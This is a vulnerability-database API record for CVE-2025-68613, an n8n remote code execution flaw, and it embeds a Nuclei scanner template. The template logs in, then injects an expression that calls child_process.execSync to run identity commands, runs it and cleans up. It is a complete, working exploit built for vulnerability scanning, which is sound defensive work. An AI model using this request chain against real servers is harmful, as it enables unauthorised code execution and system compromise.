{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-68613/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-68613/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-68613/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-68613/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-68613/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-68613"},"sightings":{"href":"/api/v1/sightings/cve-2025-68613"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99105,"kev":true,"percentile":0.99932},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-68613.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-68613\n\ninfo:\n  name: n8n - Remote Code Execution via Expression Injection\n  author: rxerium,PentesterFlow,MuhamadJuwandi\n  severity: critical\n  description: |\n    n8n < 1.120.4, 1.121.1, 1.122.0 contains a remote code execution caused by insufficient isolation in workflow expression evaluation, letting authenticated attackers execute arbitrary code with n8n process privileges. Exploit requires authentication.\n  impact: |\n    Authenticated attackers can execute arbitrary code with n8n process privileges, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to versions 1.120.4, 1.121.1, or 1.122.0 or later.\n  reference:\n    - https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-68613\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2025-68613\n    epss-score: 0.99105\n    epss-percentile: 0.99932\n    cwe-id: CWE-94\n  metadata:\n    vendor: n8n\n    product: n8n\n    verified: true\n    max-request: 7\n    shodan-query: http.favicon.hash:-831756631\n  tags: cve,cve2025,n8n,authenticated,rce,intrusive,vkev,kev,vuln\n\nvariables:\n  randstr: \"{{rand_base(8)}}\"\n  email: \"{{email}}\"\n  password: \"{{password}}\"\n\nflow: |\n  http(\"version-check\");\n  let email = template[\"email\"];\n  let password = template[\"password\"];\n  if (email && password && email.length > 0 && password.length > 0) {\n    http(\"login\") && http(\"create-workflow\") && http(\"run-workflow\") && http(\"get-results\") && http(\"delete-workflow\");\n  }\n\nhttp:\n  - id: version-check\n    raw:\n      - |\n        GET /signin HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    extractors:\n      - type: regex\n        name: base64_content\n        group: 1\n        regex:\n          - '<meta name=\"n8n:config:sentry\" content=\"([A-Za-z0-9+/=]+)\"'\n        internal: true\n\n      - type: dsl\n        name: version\n        dsl:\n          - 'replace_regex(base64_decode(base64_content), \".*n8n@([0-9]+\\\\.[0-9]+\\\\.[0-9]+).*\", \"$1\")'\n        internal: true\n\n      - type: dsl\n        dsl:\n          - '\"n8n Version: \" + version'\n\n    matchers:\n      - type: dsl\n        name: version_check\n        dsl:\n          - '(compare_versions(version, \">= 0.211.0\") && compare_versions(version, \"< 1.120.4\")) || (compare_versions(version, \">= 1.121.0\") && compare_versions(version, \"< 1.121.1\"))'\n          - 'contains(body, \"<title>n8n.io\")'\n        condition: and\n\n  - id: login\n    raw:\n      - |\n        POST /rest/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"emailOrLdapLoginId\":\"{{email}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: create-workflow\n    raw:\n      - |\n        POST /rest/workflows HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"rce-test-{{randstr}}\",\"active\":false,\"nodes\":[{\"parameters\":{},\"name\":\"Manual Trigger\",\"type\":\"n8n-nodes-base.manualTrigger\",\"typeVersion\":1,\"position\":[250,300],\"id\":\"trigger-{{randstr}}\"},{\"parameters\":{\"values\":{\"string\":[{\"name\":\"rce_result\",\"value\":\"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}\"}]}},\"name\":\"RCE Test\",\"type\":\"n8n-nodes-base.set\",\"typeVersion\":2,\"position\":[450,300],\"id\":\"set-{{randstr}}\"}],\"connections\":{\"Manual Trigger\":{\"main\":[[{\"node\":\"RCE Test\",\"type\":\"main\",\"index\":0}]]}},\"settings\":{}}\n\n    extractors:\n      - type: regex\n        name: workflow_id\n        part: body\n        internal: true\n        regex:\n          - '\"createdAt\":\"[^\"]+\",\"id\":\"([a-zA-Z0-9]+)\"'\n        group: 1\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: run-workflow\n    raw:\n      - |\n        POST /rest/workflows/{{workflow_id}}/run HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"workflowData\":{\"id\":\"{{workflow_id}}\",\"name\":\"rce-test-{{randstr}}\",\"active\":false,\"nodes\":[{\"parameters\":{},\"name\":\"Manual Trigger\",\"type\":\"n8n-nodes-base.manualTrigger\",\"typeVersion\":1,\"position\":[250,300],\"id\":\"trigger-{{randstr}}\"},{\"parameters\":{\"values\":{\"string\":[{\"name\":\"rce_result\",\"value\":\"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}\"}]}},\"name\":\"RCE Test\",\"type\":\"n8n-nodes-base.set\",\"typeVersion\":2,\"position\":[450,300],\"id\":\"set-{{randstr}}\"}],\"connections\":{\"Manual Trigger\":{\"main\":[[{\"node\":\"RCE Test\",\"type\":\"main\",\"index\":0}]]}},\"settings\":{}}}\n\n    extractors:\n      - type: regex\n        name: execution_id\n        part: body\n        internal: true\n        regex:\n          - '\"executionId\":\"([0-9]+)\"'\n        group: 1\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: get-results\n    raw:\n      - |\n        GET /rest/executions/{{execution_id}}?{{wait_for(3)}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: rce_output\n        part: body\n        regex:\n          - '\"([^\"]*uid=[0-9]+\\([^)]+\\)[^\"]*)\"'\n        group: 1\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'uid=[0-9]+\\([a-zA-Z0-9_-]+\\)'\n\n      - type: status\n        status:\n          - 200\n\n  - id: delete-workflow\n    raw:\n      - |\n        POST /rest/workflows/{{workflow_id}}/archive?{{wait_for(2)}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n      - |\n        DELETE /rest/workflows/{{workflow_id}}?{{wait_for(2)}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n# digest: 4b0a00483046022100e847de5114ac7bcd66a331e39e03b43d88b1767cd4925e07fa8137f04e33c91f022100ed7fb1d8da12b23793b5a7e1d55fa11fd6d4be0c3565e5ef72f0dad5783a7349:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-68613"}